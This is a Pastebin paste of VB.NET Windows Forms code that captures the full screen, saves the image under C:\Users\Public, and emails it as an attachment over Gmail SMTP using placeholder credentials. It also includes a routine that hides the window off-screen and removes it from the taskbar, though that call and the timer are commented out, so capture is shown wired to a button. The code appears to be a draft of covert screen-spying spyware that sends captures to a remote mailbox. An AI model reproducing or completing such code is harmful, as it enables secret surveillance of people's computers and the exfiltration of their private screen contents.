Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Drawing.Imaging
- Imports System.Drawing
- Imports System.Windows.Forms
- Imports System.Net.Mail
- Imports System
- Imports System.IO
- Imports Microsoft.VisualBasic
- Public Class MainForm
- Dim path As String = "C:\Users\Public\SS"
- Private Sub MainForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- 'hideMenow()
- folderCreator()
- 'MyTimer.Start()
- End Sub
- Public Sub hideMenow()
- Me.Location = New Point(999999999, 99999999)
- Me.Visible = False
- ShowInTaskbar = False
- End Sub
- Private Sub MyTimer_Tick(sender As Object, e As EventArgs) Handles MyTimer.Tick
- End Sub
- Public Sub SendEmail(ByVal path As String)
- Try
- Dim mail As New MailMessage("YourEmailAddress", "YourEmailAddress")
- mail.Subject = "Screen Shot"
- Dim objAttachment As New Attachment(path)
- mail.Attachments.Add(objAttachment)
- Dim smtp As New SmtpClient()
- smtp.Host = "smtp.gmail.com"
- smtp.Port = 587
- smtp.Credentials = New System.Net.NetworkCredential("YourEmailAddress", "YourPassword")
- smtp.EnableSsl = True
- mail.IsBodyHtml = True
- smtp.Send(mail)
- MsgBox("Message Sent")
- Catch ex As Exception
- MsgBox(ex.ToString)
- End Try
- End Sub
- Public Sub SS()
- Dim bitmap As New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)
- Dim graphics__1 As Graphics = Graphics.FromImage(TryCast(bitmap, System.Drawing.Image))
- graphics__1.CopyFromScreen(5, 5, 5, 5, bitmap.Size)
- Dim path As String = ("C:\Users\Public\SS" & Convert.ToString(Guid.NewGuid()) & "ScreenShot.png")
- bitmap.Save(path)
- SendEmail(path)
- End Sub
- Public Sub folderCreator()
- 'C:\Users\Public\SS
- Try
- ' Determine whether the directory exists.
- If Directory.Exists(Path) Then
- Console.WriteLine("That path exists already.")
- Return
- End If
- ' Try to create the directory.
- Dim di As DirectoryInfo = Directory.CreateDirectory(Path)
- Console.WriteLine("The directory was created successfully at {0}.", Directory.GetCreationTime(Path))
- Catch e As Exception
- Console.WriteLine("The process failed: {0}.", e.ToString())
- End Try
- End Sub
- Private Sub DevButton_Click(sender As Object, e As EventArgs) Handles DevButton.Click
- 'folderCreator()
- SS()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement